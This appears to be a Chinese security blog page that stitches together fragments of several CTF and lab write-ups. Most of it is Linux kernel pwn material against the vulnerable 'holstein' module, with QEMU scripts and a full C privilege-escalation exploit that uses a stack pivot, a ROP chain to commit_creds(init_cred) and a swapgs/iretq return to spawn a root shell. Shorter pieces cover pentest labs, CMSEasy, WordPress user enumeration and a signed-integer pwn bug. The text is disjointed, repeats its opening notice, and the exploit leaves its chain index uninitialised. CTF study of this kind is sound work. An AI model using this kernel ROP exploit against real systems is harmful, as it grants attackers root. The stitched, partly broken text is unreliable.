因不可抗力因素,停更半年
我痛定思痛,深感自己才艺未尽,功力未足。为了突破瓶颈,决定闭关修炼,不再更新博客,直到神功大成,世界为我震撼!待日后我横扫江湖,再次出山,必定以惊世之作震惊四座!敬请期待!
因不可抗力因素,停更半年
我痛定思痛,深感自己才艺未尽,功力未足。为了突破瓶颈,决定闭关修炼,不再更新博客,直到神功大成,世界为我震撼!待日后我横扫江湖,再次出山,必定以惊世之作震惊四座!敬请期待!
内核版本 5.15.0
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
保护全开
init
#!/bin/sh
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v2 (KL01-2) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh
umount /proc
poweroff -d 0 -f
module_initialize
注册了一个杂项设备 holstein
module_open
申请了一块0x400的内存
module_read
module_write
module_close
UAF
module_cleanup
卸载设备
没有对size进行任何限制,存在内核堆溢出
SLUB 的特性决定了只有大小相同的对象才会从同一个 kmem_cache 区域分配,0x400的大小,那么我的想法是对 tty_struct 进行堆喷射,泄露内核基址后劫持 tty_ops 函数表
Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
访问ip
不多废话,先简单打波poc
好大个 cmseasy,看下源代码
cmseasy 7.7.5,去 opencve 搜搜看
内核版本 5.10.102
start.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
-cpu kvm64,+smep\
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot
没开 smap 和 smep
init
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /test.ko
chmod 666 /dev/kernelpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /tmp
poweroff -d 0 -f
注册了一个杂项设备 kernelpwn
struct add_args {
size_t size;
char *buf;
};
在qemu启动脚本里添加+smep
这下原来的EXP就打不通了
第一种思路是修改cr4寄存器关掉保护,不过没找到合适的gadget
第二种思路就是走krop,这里把内核栈劫持到用户空间上走krop,正好有合适的gadget:
利用 swapgs 和 iretq 降落到用户态
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff
size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x420]={0};
*(size_t *)&buf[0x408]=(size_t)stack_pivot;
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000,
PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
size_t ropchain[0x20];
int i;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=init_cred;
ropchain[i++]=commit_creds_addr;
ropchain[i++]=SWAPGS_RET;
ropchain[i++]=IRETQ_POP_RBP_RET;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(userland+0x4000, ropchain, sizeof(ropchain));
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}
在qemu启动脚本里添加+smep,+smap
和pti
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
没开 kaslr
init
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh
##
## Cleanup
##
umount /proc
poweroff -d 0 -f
加载了一个LKM /root/vuln.ko
为了方便把 kptr_restrict 注释掉
module_initialize
初始化了一个字符设备 “holstein”
module_open
分配了一个 0x400 的内存块
module_read
module_write
module_close
这里其实还存在一个UAF
module_cleanup
很明显,对内核空间的读写没有作任何限制,也没有任何保护
先测溢出点
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x420]={0};
*(size_t *)&buf[0x408]=0xdeadbeef;
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}
题目描述:Torghast, Tower of the Damned
2.31-0ubuntu9.7
主函数
join_game()
有三个boss,分别是HP 10,HP 1000,HP ????。要全部打败才能继续
在use magic里面有个漏洞,有符号数转无符号数,把mp扣成负数就会转为一个非常大的无符号数从而满足条件
show函数在 join_game() 里:
而show的索引由 select_user()控制
32位程序,无壳,编译器为mingw
--access-token
65533
Boot
新增分区 Z:\,下面有隐藏文件
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机
wordpress CMS
goby扫下端口,顺便打些常见poc
看了是要从wordpress入手了
wp cms漏洞几乎都在后台,所以第一步得肯定先登录
wpscan枚举用户名
默认情况下 WordPress 后台登录界面在 /wp-login.php
下